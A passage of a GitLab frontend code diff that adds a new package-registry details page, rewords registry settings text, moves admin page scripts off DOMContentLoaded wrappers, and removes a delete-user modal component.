+ // AdditionalMetadata,
+ // InstallationCommands,
+ // PackageFiles,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ GlModal: GlModalDirective,
+ },
+ mixins: [Tracking.mixin()],
+ inject: [
+ 'titleComponent',
+ 'projectName',
+ 'canDelete',
+ 'svgPath',
+ 'npmPath',
+ 'npmHelpPath',
+ 'projectListUrl',
+ 'groupListUrl',
+ ],
+ trackingActions: { ...TrackingActions },
+ data() {
+ return {
+ fileToDelete: null,
+ packageEntity: {},
+ };
+ },
+ computed: {
+ packageFiles() {
+ return this.packageEntity.packageFiles;
+ },
+ isLoading() {
+ return false;
+ },
+ isValidPackage() {
+ return Boolean(this.packageEntity.name);
+ },
+ tracking() {
+ return {
+ category: packageTypeToTrackCategory(this.packageEntity.package_type),
+ };
+ },
+ hasVersions() {
+ return this.packageEntity.versions?.length > 0;
+ },
+ packageDependencies() {
+ return this.packageEntity.dependency_links || [];
+ },
+ showDependencies() {
+ return this.packageEntity.package_type === PackageType.NUGET;
+ },
+ showFiles() {
+ return this.packageEntity?.package_type !== PackageType.COMPOSER;
+ },
+ },
+ methods: {
+ formatSize(size) {
+ return numberToHumanSize(size);
+ },
+ getPackageVersions() {
+ if (!this.packageEntity.versions) {
+ // this.fetchPackageVersions();
+ }
+ },
+ async confirmPackageDeletion() {
+ this.track(TrackingActions.DELETE_PACKAGE);
+
+ await this.deletePackage();
+
+ const returnTo =
+ !this.groupListUrl || document.referrer.includes(this.projectName)
+ ? this.projectListUrl
+ : this.groupListUrl; // to avoid security issue url are supplied from backend
+
+ const modalQuery = objectToQuery({ [SHOW_DELETE_SUCCESS_ALERT]: true });
+
+ window.location.replace(`${returnTo}?${modalQuery}`);
+ },
+ handleFileDelete(file) {
+ this.track(TrackingActions.REQUEST_DELETE_PACKAGE_FILE);
+ this.fileToDelete = { ...file };
+ this.$refs.deleteFileModal.show();
+ },
+ confirmFileDelete() {
+ this.track(TrackingActions.DELETE_PACKAGE_FILE);
+ // this.deletePackageFile(this.fileToDelete.id);
+ this.fileToDelete = null;
+ },
+ },
+ i18n: {
+ deleteModalTitle: s__(`PackageRegistry|Delete Package Version`),
+ deleteModalContent: s__(
+ `PackageRegistry|You are about to delete version %{version} of %{name}. Are you sure?`,
+ ),
+ deleteFileModalTitle: s__(`PackageRegistry|Delete Package File`),
+ deleteFileModalContent: s__(
+ `PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?`,
+ ),
+ },
+ modal: {
+ packageDeletePrimaryAction: {
+ text: __('Delete'),
+ attributes: [
+ { variant: 'danger' },
+ { category: 'primary' },
+ { 'data-qa-selector': 'delete_modal_button' },
+ ],
+ },
+ fileDeletePrimaryAction: {
+ text: __('Delete'),
+ attributes: [{ variant: 'danger' }, { category: 'primary' }],
+ },
+ cancelAction: {
+ text: __('Cancel'),
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-empty-state
+ v-if="!isValidPackage"
+ :title="s__('PackageRegistry|Unable to load package')"
+ :description="s__('PackageRegistry|There was a problem fetching the details for this package.')"
+ :svg-path="svgPath"
+ />
+
+ <div v-else class="packages-app">
+ <component :is="titleComponent">
+ <template #delete-button>
+ <gl-button
+ v-if="canDelete"
+ v-gl-modal="'delete-modal'"
+ class="js-delete-button"
+ variant="danger"
+ category="primary"
+ data-qa-selector="delete_button"
+ >
+ {{ __('Delete') }}
+ </gl-button>
+ </template>
+ </component>
+
+ <gl-tabs>
+ <gl-tab :title="__('Detail')">
+ <div data-qa-selector="package_information_content">
+ <!-- <package-history :package-entity="packageEntity" :project-name="projectName" />
+
+ <installation-commands
+ :package-entity="packageEntity"
+ :npm-path="npmPath"
+ :npm-help-path="npmHelpPath"
+ />
+
+ <additional-metadata :package-entity="packageEntity" /> -->
+ </div>
+
+ <!-- <package-files
+ v-if="showFiles"
+ :package-files="packageFiles"
+ :can-delete="canDelete"
+ @download-file="track($options.trackingActions.PULL_PACKAGE)"
+ @delete-file="handleFileDelete"
+ /> -->
+ </gl-tab>
+
+ <gl-tab v-if="showDependencies" title-item-class="js-dependencies-tab">
+ <template #title>
+ <span>{{ __('Dependencies') }}</span>
+ <gl-badge size="sm" data-testid="dependencies-badge">{{
+ packageDependencies.length
+ }}</gl-badge>
+ </template>
+
+ <template v-if="packageDependencies.length > 0">
+ <dependency-row
+ v-for="(dep, index) in packageDependencies"
+ :key="index"
+ :dependency="dep"
+ />
+ </template>
+
+ <p v-else class="gl-mt-3" data-testid="no-dependencies-message">
+ {{ s__('PackageRegistry|This NuGet package has no dependencies.') }}
+ </p>
+ </gl-tab>
+
+ <gl-tab
+ :title="__('Other versions')"
+ title-item-class="js-versions-tab"
+ @click="getPackageVersions"
+ >
+ <template v-if="isLoading && !hasVersions">
+ <packages-list-loader />
+ </template>
+
+ <template v-else-if="hasVersions">
+ <!-- <package-list-row
+ v-for="v in packageEntity.versions"
+ :key="v.id"
+ :package-entity="{ name: packageEntity.name, ...v }"
+ :package-link="v.id.toString()"
+ :disable-delete="true"
+ :show-package-type="false"
+ /> -->
+ </template>
+
+ <p v-else class="gl-mt-3" data-testid="no-versions-message">
+ {{ s__('PackageRegistry|There are no other versions of this package.') }}
+ </p>
+ </gl-tab>
+ </gl-tabs>
+
+ <gl-modal
+ ref="deleteModal"
+ class="js-delete-modal"
+ modal-id="delete-modal"
+ :action-primary="$options.modal.packageDeletePrimaryAction"
+ :action-cancel="$options.modal.cancelAction"
+ @primary="confirmPackageDeletion"
+ @canceled="track($options.trackingActions.CANCEL_DELETE_PACKAGE)"
+ >
+ <template #modal-title>{{ $options.i18n.deleteModalTitle }}</template>
+ <gl-sprintf :message="$options.i18n.deleteModalContent">
+ <template #version>
+ <strong>{{ packageEntity.version }}</strong>
+ </template>
+
+ <template #name>
+ <strong>{{ packageEntity.name }}</strong>
+ </template>
+ </gl-sprintf>
+ </gl-modal>
+
+ <gl-modal
+ ref="deleteFileModal"
+ modal-id="delete-file-modal"
+ :action-primary="$options.modal.fileDeletePrimaryAction"
+ :action-cancel="$options.modal.cancelAction"
+ @primary="confirmFileDelete"
+ @canceled="track($options.trackingActions.CANCEL_DELETE_PACKAGE_FILE)"
+ >
+ <template #modal-title>{{ $options.i18n.deleteFileModalTitle }}</template>
+ <gl-sprintf v-if="fileToDelete" :message="$options.i18n.deleteFileModalContent">
+ <template #filename>
+ <strong>{{ fileToDelete.file_name }}</strong>
+ </template>
+ </gl-sprintf>
+ </gl-modal>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/pages/details.js b/app/assets/javascripts/packages_and_registries/package_registry/pages/details.js
new file mode 100644
index 00000000000..309b35a8084
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/package_registry/pages/details.js
@@ -0,0 +1,26 @@
+import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import Translate from '~/vue_shared/translate';
+import PackagesApp from '../components/details/app.vue';
+
+Vue.use(Translate);
+
+export default () => {
+ const el = document.getElementById('js-vue-packages-detail-new');
+ if (!el) {
+ return null;
+ }
+
+ const { canDelete, ...datasetOptions } = el.dataset;
+ return new Vue({
+ el,
+ provide: {
+ canDelete: parseBoolean(canDelete),
+ titleComponent: 'PackageTitle',
+ ...datasetOptions,
+ },
+ render(createElement) {
+ return createElement(PackagesApp);
+ },
+ });
+};
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue b/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue
index 01d4861f5c2..ec3be43196c 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue
+++ b/app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue
@@ -86,7 +86,7 @@ export default {
this.alertMessage = ERROR_UPDATING_SETTINGS;
} else {
this.dismissAlert();
- this.$toast.show(SUCCESS_UPDATING_SETTINGS, { type: 'success' });
+ this.$toast.show(SUCCESS_UPDATING_SETTINGS);
}
})
.catch((e) => {
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/constants.js b/app/assets/javascripts/packages_and_registries/settings/group/constants.js
index a2256c5c371..d29489a0b33 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/constants.js
+++ b/app/assets/javascripts/packages_and_registries/settings/group/constants.js
@@ -3,19 +3,19 @@ import { s__, __ } from '~/locale';
export const PACKAGE_SETTINGS_HEADER = s__('PackageRegistry|Package Registry');
export const PACKAGE_SETTINGS_DESCRIPTION = s__(
- 'PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}',
+ 'PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}',
);
export const DUPLICATES_TOGGLE_LABEL = s__('PackageRegistry|Allow duplicates');
export const DUPLICATES_ALLOWED_DISABLED = s__(
- 'PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected.',
+ 'PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version.',
);
export const DUPLICATES_ALLOWED_ENABLED = s__(
- 'PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted.',
+ 'PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version.',
);
export const DUPLICATES_SETTING_EXCEPTION_TITLE = __('Exceptions');
export const DUPLICATES_SETTINGS_EXCEPTION_LEGEND = s__(
- 'PackageRegistry|Packages can be published if their name or version matches this regex',
+ 'PackageRegistry|Publish packages if their name or version matches this regex.',
);
export const SUCCESS_UPDATING_SETTINGS = s__('PackageRegistry|Settings saved successfully');
diff --git a/app/assets/javascripts/packages_and_registries/settings/project/components/settings_form.vue b/app/assets/javascripts/packages_and_registries/settings/project/components/settings_form.vue
index 41be70a3ad5..6030af9d2c3 100644
--- a/app/assets/javascripts/packages_and_registries/settings/project/components/settings_form.vue
+++ b/app/assets/javascripts/packages_and_registries/settings/project/components/settings_form.vue
@@ -88,8 +88,6 @@ export default {
return {
...this.value,
cadence: this.findDefaultOption('cadence'),
- keepN: this.findDefaultOption('keepN'),
- olderThan: this.findDefaultOption('olderThan'),
};
},
showLoadingIcon() {
@@ -158,14 +156,14 @@ export default {
.then(({ data }) => {
const errorMessage = data?.updateContainerExpirationPolicy?.errors[0];
if (errorMessage) {
- this.$toast.show(errorMessage, { type: 'error' });
+ this.$toast.show(errorMessage);
} else {
- this.$toast.show(UPDATE_SETTINGS_SUCCESS_MESSAGE, { type: 'success' });
+ this.$toast.show(UPDATE_SETTINGS_SUCCESS_MESSAGE);
}
})
.catch((error) => {
this.setApiErrors(error);
- this.$toast.show(UPDATE_SETTINGS_ERROR_MESSAGE, { type: 'error' });
+ this.$toast.show(UPDATE_SETTINGS_ERROR_MESSAGE);
})
.finally(() => {
this.mutationLoading = false;
diff --git a/app/assets/javascripts/packages_and_registries/settings/project/utils.js b/app/assets/javascripts/packages_and_registries/settings/project/utils.js
index 4a2d7c7d466..b577a051862 100644
--- a/app/assets/javascripts/packages_and_registries/settings/project/utils.js
+++ b/app/assets/javascripts/packages_and_registries/settings/project/utils.js
@@ -11,11 +11,14 @@ export const olderThanTranslationGenerator = (variable) => n__('%d day', '%d day
export const keepNTranslationGenerator = (variable) =>
n__('%d tag per image name', '%d tags per image name', variable);
-export const optionLabelGenerator = (collection, translationFn) =>
- collection.map((option) => ({
+export const optionLabelGenerator = (collection, translationFn) => {
+ const result = collection.map((option) => ({
...option,
label: translationFn(option.variable),
}));
+ result.unshift({ key: null, label: '' });
+ return result;
+};
export const formOptionsGenerator = () => {
return {
diff --git a/app/assets/javascripts/pager.js b/app/assets/javascripts/pager.js
index 3ad9d80b4f2..aa2f539b6e2 100644
--- a/app/assets/javascripts/pager.js
+++ b/app/assets/javascripts/pager.js
@@ -1,8 +1,7 @@
import $ from 'jquery';
import 'vendor/jquery.endless-scroll';
import axios from '~/lib/utils/axios_utils';
-import { getParameterByName } from '~/lib/utils/common_utils';
-import { removeParams } from '~/lib/utils/url_utility';
+import { removeParams, getParameterByName } from '~/lib/utils/url_utility';
const ENDLESS_SCROLL_BOTTOM_PX = 400;
const ENDLESS_SCROLL_FIRE_DELAY_MS = 1000;
diff --git a/app/assets/javascripts/pages/admin/abuse_reports/index.js b/app/assets/javascripts/pages/admin/abuse_reports/index.js
index a88d35796f7..ab29f9149f7 100644
--- a/app/assets/javascripts/pages/admin/abuse_reports/index.js
+++ b/app/assets/javascripts/pages/admin/abuse_reports/index.js
@@ -5,4 +5,4 @@ import AbuseReports from './abuse_reports';
new AbuseReports(); /* eslint-disable-line no-new */
new UsersSelect(); /* eslint-disable-line no-new */
-document.addEventListener('DOMContentLoaded', initDeprecatedRemoveRowBehavior);
+initDeprecatedRemoveRowBehavior();
diff --git a/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js b/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js
index a2fca238613..a5305777dd5 100644
--- a/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js
+++ b/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js
@@ -1,3 +1,3 @@
import setup from '~/admin/application_settings/setup_metrics_and_profiling';
-document.addEventListener('DOMContentLoaded', setup);
+setup();
diff --git a/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/usage_statistics.js b/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/usage_statistics.js
new file mode 100644
index 00000000000..bf27b1a81ff
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/usage_statistics.js
@@ -0,0 +1,41 @@
+import { __ } from '~/locale';
+
+export const HELPER_TEXT_SERVICE_PING_DISABLED = __(
+ 'To enable Registration Features, make sure "Enable service ping" is checked.',
+);
+
+export const HELPER_TEXT_SERVICE_PING_ENABLED = __(
+ 'You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in the future, you will also need to register with GitLab via a new cloud licensing service.',
+);
+
+function setHelperText(usagePingCheckbox) {
+ const helperTextId = document.getElementById('service_ping_features_helper_text');
+
+ const usagePingFeaturesLabel = document.getElementById('service_ping_features_label');
+
+ const usagePingFeaturesCheckbox = document.getElementById(
+ 'application_setting_usage_ping_features_enabled',
+ );
+
+ helperTextId.textContent = usagePingCheckbox.checked
+ ? HELPER_TEXT_SERVICE_PING_ENABLED
+ : HELPER_TEXT_SERVICE_PING_DISABLED;
+
+ usagePingFeaturesLabel.classList.toggle('gl-cursor-not-allowed', !usagePingCheckbox.checked);
+
+ usagePingFeaturesCheckbox.disabled = !usagePingCheckbox.checked;
+
+ if (!usagePingCheckbox.checked) {
+ usagePingFeaturesCheckbox.disabled = true;
+ usagePingFeaturesCheckbox.checked = false;
+ }
+}
+
+export default function initSetHelperText() {
+ const usagePingCheckbox = document.getElementById('application_setting_usage_ping_enabled');
+
+ setHelperText(usagePingCheckbox);
+ usagePingCheckbox.addEventListener('change', () => {
+ setHelperText(usagePingCheckbox);
+ });
+}
diff --git a/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js b/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js
index bc1d4dd6122..08f6633f424 100644
--- a/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js
+++ b/app/assets/javascripts/pages/admin/application_settings/payload_previewer.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '../../../flash';
+import createFlash from '~/flash';
import axios from '../../../lib/utils/axios_utils';
import { __ } from '../../../locale';
@@ -38,7 +38,9 @@ export default class PayloadPreviewer {
})
.catch(() => {
this.spinner.classList.remove('d-inline-flex');
- flash(__('Error fetching payload data.'));
+ createFlash({
+ message: __('Error fetching payload data.'),
+ });
});
}
diff --git a/app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js b/app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js
index 5a16716fe2d..2a7e6a45cdd 100644
--- a/app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js
+++ b/app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js
@@ -1,8 +1,9 @@
import $ from 'jquery';
import { debounce } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { textColorForBackground } from '~/lib/utils/color_utils';
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import { __ } from '~/locale';
export default () => {
@@ -30,7 +31,11 @@ export default () => {
.then(({ data }) => {
$jsBroadcastMessagePreview.html(data.message);
})
- .catch(() => flash(__('An error occurred while rendering preview broadcast message')));
+ .catch(() =>
+ createFlash({
+ message: __('An error occurred while rendering preview broadcast message'),
+ }),
+ );
}
};
@@ -61,7 +66,7 @@ export default () => {
'input',
debounce(() => {
reloadPreview();
- }, 250),
+ }, DEFAULT_DEBOUNCE_AND_THROTTLE_MS),
);
const updateColorPreview = () => {
diff --git a/app/assets/javascripts/pages/admin/broadcast_messages/index.js b/app/assets/javascripts/pages/admin/broadcast_messages/index.js
index b7db6443658..f687423594d 100644
--- a/app/assets/javascripts/pages/admin/broadcast_messages/index.js
+++ b/app/assets/javascripts/pages/admin/broadcast_messages/index.js
@@ -1,7 +1,5 @@
import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
import initBroadcastMessagesForm from './broadcast_message';
-document.addEventListener('DOMContentLoaded', () => {
- initBroadcastMessagesForm();
- initDeprecatedRemoveRowBehavior();
-});
+initBroadcastMessagesForm();
+initDeprecatedRemoveRowBehavior();
diff --git a/app/assets/javascripts/pages/admin/clusters/destroy/index.js b/app/assets/javascripts/pages/admin/clusters/destroy/index.js
index 8001d2dd1da..487e7a14a16 100644
--- a/app/assets/javascripts/pages/admin/clusters/destroy/index.js
+++ b/app/assets/javascripts/pages/admin/clusters/destroy/index.js
@@ -1,5 +1,3 @@
import ClustersBundle from '~/clusters/clusters_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
-});
+new ClustersBundle(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/admin/clusters/edit/index.js b/app/assets/javascripts/pages/admin/clusters/edit/index.js
index 8001d2dd1da..487e7a14a16 100644
--- a/app/assets/javascripts/pages/admin/clusters/edit/index.js
+++ b/app/assets/javascripts/pages/admin/clusters/edit/index.js
@@ -1,5 +1,3 @@
import ClustersBundle from '~/clusters/clusters_bundle';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
-});
+new ClustersBundle(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/admin/clusters/index.js b/app/assets/javascripts/pages/admin/clusters/index.js
index 4d04c37caa7..f398b1cee82 100644
--- a/app/assets/javascripts/pages/admin/clusters/index.js
+++ b/app/assets/javascripts/pages/admin/clusters/index.js
@@ -1,5 +1,3 @@
import initCreateCluster from '~/create_cluster/init_create_cluster';
-document.addEventListener('DOMContentLoaded', () => {
- initCreateCluster(document, gon);
-});
+initCreateCluster(document, gon);
diff --git a/app/assets/javascripts/pages/admin/clusters/index/index.js b/app/assets/javascripts/pages/admin/clusters/index/index.js
index a99e0dfa4f0..a1ba920b322 100644
--- a/app/assets/javascripts/pages/admin/clusters/index/index.js
+++ b/app/assets/javascripts/pages/admin/clusters/index/index.js
@@ -1,8 +1,6 @@
import initClustersListApp from '~/clusters_list';
import PersistentUserCallout from '~/persistent_user_callout';
-document.addEventListener('DOMContentLoaded', () => {
- const callout = document.querySelector('.gcp-signup-offer');
- PersistentUserCallout.factory(callout);
- initClustersListApp();
-});
+const callout = document.querySelector('.gcp-signup-offer');
+PersistentUserCallout.factory(callout);
+initClustersListApp();
diff --git a/app/assets/javascripts/pages/admin/clusters/new/index.js b/app/assets/javascripts/pages/admin/clusters/new/index.js
index 876bab0b339..de9ded87ef3 100644
--- a/app/assets/javascripts/pages/admin/clusters/new/index.js
+++ b/app/assets/javascripts/pages/admin/clusters/new/index.js
@@ -1,5 +1,3 @@
import initNewCluster from '~/clusters/new_cluster';
-document.addEventListener('DOMContentLoaded', () => {
- initNewCluster();
-});
+initNewCluster();
diff --git a/app/assets/javascripts/pages/admin/clusters/show/index.js b/app/assets/javascripts/pages/admin/clusters/show/index.js
index 9d94973af0d..524b2c6f66a 100644
--- a/app/assets/javascripts/pages/admin/clusters/show/index.js
+++ b/app/assets/javascripts/pages/admin/clusters/show/index.js
@@ -2,8 +2,6 @@ import ClustersBundle from '~/clusters/clusters_bundle';
import initIntegrationForm from '~/clusters/forms/show';
import initClusterHealth from '~/pages/projects/clusters/show/cluster_health';
-document.addEventListener('DOMContentLoaded', () => {
- new ClustersBundle(); // eslint-disable-line no-new
- initClusterHealth();
- initIntegrationForm();
-});
+new ClustersBundle(); // eslint-disable-line no-new
+initClusterHealth();
+initIntegrationForm();
diff --git a/app/assets/javascripts/pages/admin/dev_ops_report/index.js b/app/assets/javascripts/pages/admin/dev_ops_report/index.js
index d6fa1be29b0..a94a60af7ff 100644
--- a/app/assets/javascripts/pages/admin/dev_ops_report/index.js
+++ b/app/assets/javascripts/pages/admin/dev_ops_report/index.js
@@ -1,5 +1,5 @@
import initDevOpsScore from '~/analytics/devops_report/devops_score';
-import initDevOpsScoreDisabledUsagePing from '~/analytics/devops_report/devops_score_disabled_usage_ping';
+import initDevOpsScoreDisabledServicePing from '~/analytics/devops_report/devops_score_disabled_service_ping';
-initDevOpsScoreDisabledUsagePing();
+initDevOpsScoreDisabledServicePing();
initDevOpsScore();
diff --git a/app/assets/javascripts/pages/admin/identities/index.js b/app/assets/javascripts/pages/admin/identities/index.js
new file mode 100644
index 00000000000..a9f5f00cb9b
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/identities/index.js
@@ -0,0 +1,6 @@
+import { initAdminUserActions, initDeleteUserModals } from '~/admin/users';
+import initConfirmModal from '~/confirm_modal';
+
+initAdminUserActions();
+initDeleteUserModals();
+initConfirmModal();
diff --git a/app/assets/javascripts/pages/admin/impersonation_tokens/index.js b/app/assets/javascripts/pages/admin/impersonation_tokens/index.js
index dc1bb88bf4b..8fbc8dc17bc 100644
--- a/app/assets/javascripts/pages/admin/impersonation_tokens/index.js
+++ b/app/assets/javascripts/pages/admin/impersonation_tokens/index.js
@@ -1,3 +1,8 @@
import { initExpiresAtField } from '~/access_tokens';
+import { initAdminUserActions, initDeleteUserModals } from '~/admin/users';
+import initConfirmModal from '~/confirm_modal';
+initAdminUserActions();
+initDeleteUserModals();
initExpiresAtField();
+initConfirmModal();
diff --git a/app/assets/javascripts/pages/admin/integrations/edit/index.js b/app/assets/javascripts/pages/admin/integrations/edit/index.js
index ba4b271f09e..8002fa8bf78 100644
--- a/app/assets/javascripts/pages/admin/integrations/edit/index.js
+++ b/app/assets/javascripts/pages/admin/integrations/edit/index.js
@@ -1,7 +1,7 @@
import IntegrationSettingsForm from '~/integrations/integration_settings_form';
import PrometheusMetrics from '~/prometheus_metrics/prometheus_metrics';
-document.addEventListener('DOMContentLoaded', () => {
+function initIntegrations() {
const prometheusSettingsWrapper = document.querySelector('.js-prometheus-metrics-monitoring');
const integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
integrationSettingsForm.init();
@@ -10,4 +10,6 @@ document.addEventListener('DOMContentLoaded', () => {
const prometheusMetrics = new PrometheusMetrics('.js-prometheus-metrics-monitoring');
prometheusMetrics.loadActiveMetrics();
}
-});
+}
+
+initIntegrations();
diff --git a/app/assets/javascripts/pages/admin/jobs/index/index.js b/app/assets/javascripts/pages/admin/jobs/index/index.js
index 46ddb95299d..a4d89889d57 100644
--- a/app/assets/javascripts/pages/admin/jobs/index/index.js
+++ b/app/assets/javascripts/pages/admin/jobs/index/index.js
@@ -5,7 +5,7 @@ import stopJobsModal from './components/stop_jobs_modal.vue';
Vue.use(Translate);
-document.addEventListener('DOMContentLoaded', () => {
+function initJobs() {
const buttonId = 'js-stop-jobs-button';
const modalId = 'stop-jobs-modal';
const stopJobsButton = document.getElementById(buttonId);
@@ -31,4 +31,6 @@ document.addEventListener('DOMContentLoaded', () => {
},
});
}
-});
+}
+
+initJobs();
diff --git a/app/assets/javascripts/pages/admin/keys/index.js b/app/assets/javascripts/pages/admin/keys/index.js
index 45b83ffcd67..868c8e33077 100644
--- a/app/assets/javascripts/pages/admin/keys/index.js
+++ b/app/assets/javascripts/pages/admin/keys/index.js
@@ -1,5 +1,3 @@
import initConfirmModal from '~/confirm_modal';
-document.addEventListener('DOMContentLoaded', () => {
- initConfirmModal();
-});
+initConfirmModal();
diff --git a/app/assets/javascripts/pages/admin/labels/index/index.js b/app/assets/javascripts/pages/admin/labels/index/index.js
index 17ee7c03ed6..0ceab3b922f 100644
--- a/app/assets/javascripts/pages/admin/labels/index/index.js
+++ b/app/assets/javascripts/pages/admin/labels/index/index.js
@@ -1,4 +1,4 @@
-document.addEventListener('DOMContentLoaded', () => {
+function initLabels() {
const pagination = document.querySelector('.labels .gl-pagination');
const emptyState = document.querySelector('.labels .nothing-here-block.hidden');
@@ -18,4 +18,6 @@ document.addEventListener('DOMContentLoaded', () => {
document.querySelectorAll('.js-remove-label').forEach((row) => {
row.addEventListener('ajax:success', removeLabelSuccessCallback);
});
-});
+}
+
+initLabels();
diff --git a/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue b/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue
index b92fc8d125d..055d6f40c14 100644
--- a/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue
+++ b/app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue
@@ -46,7 +46,7 @@ export default {
return sprintf(
s__(`AdminProjects|
You’re about to permanently delete the project %{projectName}, its repository,
- and all related resources including issues, merge requests, etc.. Once you confirm and press
+ and all related resources, including issues and merge requests. Once you confirm and press
%{strong_start}Delete project%{strong_end}, it cannot be undone or recovered.`),
{
projectName: `<strong>${escape(this.projectName)}</strong>`,
diff --git a/app/assets/javascripts/pages/admin/projects/index/index.js b/app/assets/javascripts/pages/admin/projects/index/index.js
index cc9a9b6cc38..c6cf4a46dba 100644
--- a/app/assets/javascripts/pages/admin/projects/index/index.js
+++ b/app/assets/javascripts/pages/admin/projects/index/index.js
@@ -13,9 +13,11 @@ import deleteProjectModal from './components/delete_project_modal.vue';
const deleteModal = new Vue({
el: deleteProjectModalEl,
- data: {
- deleteProjectUrl: '',
- projectName: '',
+ data() {
+ return {
+ deleteProjectUrl: '',
+ projectName: '',
+ };
},
mounted() {
const deleteProjectButtons = document.querySelectorAll('.delete-project-button');
diff --git a/app/assets/javascripts/pages/admin/spam_logs/index.js b/app/assets/javascripts/pages/admin/spam_logs/index.js
index e5ab5d43bbf..ac850a6467b 100644
--- a/app/assets/javascripts/pages/admin/spam_logs/index.js
+++ b/app/assets/javascripts/pages/admin/spam_logs/index.js
@@ -1,3 +1,3 @@
import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
-document.addEventListener('DOMContentLoaded', initDeprecatedRemoveRowBehavior);
+initDeprecatedRemoveRowBehavior();
diff --git a/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue b/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
deleted file mode 100644
index a3b78da6ef5..00000000000
--- a/app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue
+++ /dev/null
@@ -1,151 +0,0 @@
-<script>
-import { GlModal, GlButton, GlFormInput, GlSprintf } from '@gitlab/ui';
-import * as Sentry from '@sentry/browser';
-import { s__, sprintf } from '~/locale';
-import OncallSchedulesList from '~/vue_shared/components/oncall_schedules_list.vue';
-
-export default {
- components: {
- GlModal,
- GlButton,
- GlFormInput,
- GlSprintf,
- OncallSchedulesList,
- },
- props: {
- title: {
- type: String,
- required: true,
- },
- content: {
- type: String,
- required: true,
- },
- action: {
- type: String,
- required: true,
- },
- secondaryAction: {
- type: String,
- required: true,
- },
- deleteUserUrl: {
- type: String,
- required: true,
- },
- blockUserUrl: {
- type: String,
- required: true,
- },
- username: {
- type: String,
- required: true,
- },
- csrfToken: {
- type: String,
- required: true,
- },
- oncallSchedules: {
- type: String,
- required: false,
- default: '[]',
- },
- },
- data() {
- return {
- enteredUsername: '',
- };
- },
- computed: {
- modalTitle() {
- return sprintf(this.title, { username: this.username });
- },
- secondaryButtonLabel() {
- return s__('AdminUsers|Block user');
- },
- canSubmit() {
- return this.enteredUsername === this.username;
- },
- schedules() {
- try {
- return JSON.parse(this.oncallSchedules);
- } catch (e) {
- Sentry.captureException(e);
- }
- return [];
- },
- },
- methods: {
- show() {
- this.$refs.modal.show();
- },
- onCancel() {
- this.enteredUsername = '';
- this.$refs.modal.hide();
- },
- onSecondaryAction() {
- const { form } = this.$refs;
-
- form.action = this.blockUserUrl;
- this.$refs.method.value = 'put';
-
- form.submit();
- },
- onSubmit() {
- this.$refs.form.submit();
- this.enteredUsername = '';
- },
- },
-};
-</script>
-
-<template>
- <gl-modal ref="modal" modal-id="delete-user-modal" :title="modalTitle" kind="danger">
- <p>
- <gl-sprintf :message="content">
- <template #username>
- <strong>{{ username }}</strong>
- </template>
- <template #strong="props">
- <strong>{{ props.content }}</strong>
- </template>
- </gl-sprintf>
- </p>
-
- <oncall-schedules-list v-if="schedules.length" :schedules="schedules" />
-
- <p>
- <gl-sprintf :message="s__('AdminUsers|To confirm, type %{username}')">
- <template #username>
- <code>{{ username }}</code>
- </template>
- </gl-sprintf>
- </p>
-
- <form ref="form" :action="deleteUserUrl" method="post" @submit.prevent>
- <input ref="method" type="hidden" name="_method" value="delete" />
- <input :value="csrfToken" type="hidden" name="authenticity_token" />
- <gl-form-input
- v-model="enteredUsername"
